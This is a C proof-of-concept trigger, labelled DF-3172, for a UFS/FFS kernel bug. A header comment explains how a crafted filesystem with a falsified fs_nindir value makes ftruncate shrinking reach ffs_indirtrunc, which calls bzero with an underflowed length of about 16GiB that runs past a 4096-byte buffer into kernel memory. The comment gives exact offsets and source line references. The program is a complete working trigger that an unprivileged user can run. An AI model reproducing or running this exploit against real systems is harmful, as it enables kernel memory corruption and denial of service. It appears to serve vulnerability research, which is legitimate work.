DF-3172 / trigger3172.c
/* * DF-3172 trigger — run as an unprivileged user (file owner) on the * crafted-fs_nindir 4096-block UFS filesystem mounted at /mnt/poc. * * on-disk geometry: bsize=4096, fs_nindir PATCHED 1024 -> 512 * (sizeof(ufs_daddr_t) == 4, so a legit 4K fs has NINDIR=1024) * Sigma' = NDADDR + NINDIR + NINDIR^2 + NINDIR^3 = 134,480,396 blocks * Sigma'*4096 = 550,831,702,016 (legit fs_maxfilesize 4.4TB allows * lbns up to 2^30 — 8x past Sigma', the mount-time maxfilesize clamp * at ffs_vfsops.c:753-758 cannot help once NINDIR itself is a lie) * E (extend) = 560,000,000,000 -> sparse; BALLOC/bmaparray (using the * same crafted NINDIR) allocates the * triple-indirect chain (i_ib[2] != 0) * X (truncate) = Sigma'*4096 + 4096 = 550,831,706,112 * -> lastblock = Sigma' (ffs_inode.c:311) * -> lastiblock[T] = NINDIR^3 (ffs_inode.c:314) * -> ffs_indirtrunc(level=TRIPLE): last = NINDIR (:487) * -> bzero(&bap[513], (uint)(512-513)*4 = 0x3FFFFFFFC) * i.e. a ~16GiB zero-march starting INSIDE the * 4096-byte indirect-block buffer, running off its end * and across whatever KVA follows (ffs_inode.c:535-536) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define E 560000000000LL #define X 550831706112LL int main(int argc, char **argv){ const char *path = argc > 1 ? argv[1] : "/mnt/poc/d/f"; const char *mode = argc > 2 ? argv[2] : "shrink"; int fd = open(path, O_RDWR|O_CREAT, 0644); if (fd < 0) { perror("open"); return 1; } printf("uid=%d euid=%d path=%s mode=%s\n", getuid(), geteuid(), path, mode); if (!strcmp(mode, "extend")) { printf("[1] ftruncate extend to %lld ...\n", E); if (ftruncate(fd, E)) { perror("ftruncate-extend"); return 2; } printf("[2] extend ok (sparse, triple-indirect allocated under LEGIT geometry)\n"); return 0; } printf("[1] ftruncate shrink to %lld ...\n", X); fflush(stdout); if (ftruncate(fd, X)) { perror("ftruncate-shrink"); return 3; } printf("SURVIVED (bug did not fire?)\n"); return 0; } |